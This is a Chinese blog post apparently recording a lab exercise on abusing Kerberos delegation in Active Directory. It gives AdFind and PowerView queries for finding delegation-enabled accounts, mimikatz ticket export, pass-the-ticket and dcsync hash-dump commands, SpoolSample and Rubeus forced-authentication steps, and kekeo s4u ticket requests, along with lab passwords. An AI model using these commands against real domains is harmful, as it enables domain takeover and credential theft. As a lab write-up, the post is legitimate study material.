• 约束性委派和非约束性委派利用


    委派分为

    • 非约束委派

    • 约束委派

    • 基于资源的约束性委派

    委派具体的概念就不写了,网上挺多的

    查找非约束委派的方法

    需要一个普通域账号

    Adfind.exe 查找

    #查询域内配置非约束委派的主机

    AdFind.exe -b "DC=superman,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

    获得普通域账号saul的密码的情况下

    AdFind.exe -h 10.10.10.8(域控ip) -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

    #查询域内配置非约束委派的服务账号

    AdFind.exe -b "DC=superman,DC=com" -f "(&(samAccountType=805306368))(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn

    powerview查找

    #查询域内配置非约束委派的主机

    get-netcomputer -unconstrained | select dnshostname,samaccountname

    获取非约束委派的服务账号我用powerview失败了

    image-20220329185713681

    非约束性委派利用演示

    windows2012:10.10.10.10 域控 ad.superman.com

    1、清空票据:klist purge or mimikatz.exe "privilege::debug" "kerberos::purge"

    2、模拟域控访问win2012主机,使之产生票据:powershell运行命令Enter-PSSession -ComputerName user

    3、使用获得shell,需要高权限,如主机的administrator或者system,这里我以administrator为例,机器的adminstator。

    image-20220329190237361

    先使用beacon执行:dir \\ad\c$ 显示拒绝或者账号密码错误,没有截图,自己试验下就知道了,ad代表域控的机器名,不固定。

    3.1导出票据:shell mimikatz.exe "privilege::debug" "sekurlsa::tickets /export"

    image-20220329214537326

    3.2通过ptt将票据TGT注入到会话中:由于步骤2已经模拟域控登陆过了,所以直接执行mimikatz:shell mimikatz.exe "privilege::debug" "kerberos::ptt [c;5c5c5dc1]-2-0-60a10000-Administrator@krbtgt-SUPERMAN.COM.kirbi"

    image-20220329214609303

    4、重新执行dir \\AD\c$,可以看到可以打印AD机器的c盘文件夹

    image-20220329214648565

    5、导出域内所有hash mimikatz lsadump::dcsync /all /csv

    image-20220329214837218

    上述的过程需要域管理员连接机器,比较被动,结合spooler打印机漏洞可以主动获得TGT票据

    其实在实验中还测试了服务账号配置为非约束委派,机器用户不配置任何委派的情况,为的就是测试服务账号的非约束委派,当按照上述步骤做的时候发现没有生成高权限票据,怀疑是访问的方式不对,毕竟Enter-PSSession -ComputerName user连接的是机器用户,而服务账号的访问也没搜到什么资料如何访问,所以先搁置吧。

    非约束性委派结合spooler打印机漏洞演示

    注:机器账号必须开启非约束委派,而非服务账号。

    使用SpoolSample,GitHub上面有,也有编译好的版本

    [https://github.com/shanfenglan/test/tree/master/spooler]:

    但是我的win2012使用该文件会报错,具体原因不知,换了个几个版本也一样,可能跟系统有关

    image-20220330082445129

    由于没有实验成功,就脑洞模拟下,以后遇到高人了在请教请教

    1、首先确定靶机spooler服务是否正常,默认都是自启动的;操作的机器需要是被非约束委派的机器账号

    image-20220330082709376

    image-20220330082809016

    2、使spooler强制发送验证,SpoolSample.exe AD win2012 (SpoolSample.exe target机器名 监听机器名),由于上面说过了我失败了,就不截图了。

    3、Rebeus监听模式:Rubeus.exe monitor /interval:1 /filteruser:AD$

    image-20220330083022424

    也可以使用mimikatz导出票据 :mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"

    4、接下来的步骤跟之前的演示一样,导入票据,获取hash,关键的还是spooler的二进制利用程序跑不起来。

    查找约束委派的方法

    Adfind.exe查找

    同样至少需要一个普通域账号的shell或账号密码

    #查询域内配置约束委派的主机账号

    AdFind.exe -b "DC=superman,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

    只是机器账号但有域内账号密码的情况下

    AdFind.exe -h 10.10.10.10 -u saul -up Openx123.. -b "DC=superman,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

    #查询域内配置约束委派的服务账号

    AdFind.exe -b "DC=superman,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

    powerview查找

    (注意使用dev版本https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

    #查找域内配置约束委派的主机账号

    Get-DomainComputer -TrustedToAuth -Domain superman.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto

    image-20220331183705003

    #查找域内配置约束委派的服务账号

    Get-DomainUser -TrustedToAuth -Domain superman.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto

    image-20220401085949375

    约束性委派利用演示

    首先一样,使用没有任何委派的普通域账号dir \\ad\c$是拒绝访问。使用该方法前提是有约束委派账号的明文密码或hash

    以下实验为利用约束委派服务账号的过程

    1、清空票据:klist purge

    2、请求约束委派服务账号hack的TGT票据,利用工具kekeo: tgt::ask /user:hack /domain:superman.com /password:Openx123.. /ticket:test.kirbi 或者只有hash的情况下 /ticket

    tgt::ask /user:websec /domain:redteam.club /NTLM:XXXXX /ticket:test.kirbi

    image-20220401171105557

    image-20220401172937062

    image-20220401171122961

    3、使用s4uself和s4uproxy获取TGS票据:tgs:s4u /tgt:TGT_hack@Supermanxxxxxxxxxxx(上图箭头标注的票据名) /user:administrator@superman.com /service:cifs/ad.superman.com

    image-20220401171504905

    image-20220401171532319

    4、导入ST票据进内存:kerberos::ptt TGS_administrator@supermanxxxxxxx(上图箭头标识的票据)

    image-20220401171804772

    image-20220401171820540

    可以看到即使是saul用户依然可以dir \\ad\c$

    以下为拿到域内机器账号的利用演示

    其他步骤一样,就第二步不同,需要用ntlm获取TGT票据,拿mimikatz跑一下即可。

    image-20220401181615263

    后面再学基于资源的约束性委派,那个才是重点。

  • 相关阅读:
    perl shell交换示例
    python语法测试
    python使用带汉字的正则表达式
    【zz】Perl数字与字符串间的自动转换
    python完成文件按行拆分按列重组。
    转载 python每次读入文件一行的问题(血的教训啊)
    工程总结
    perl 语言学习——从C/C++到perl
    perl双层哈希求长度
    visual studio 代码分析利器 FxCop
  • 原文地址:https://www.cnblogs.com/sup3rman/p/16088447.html
Copyright © 2020-2023  润新知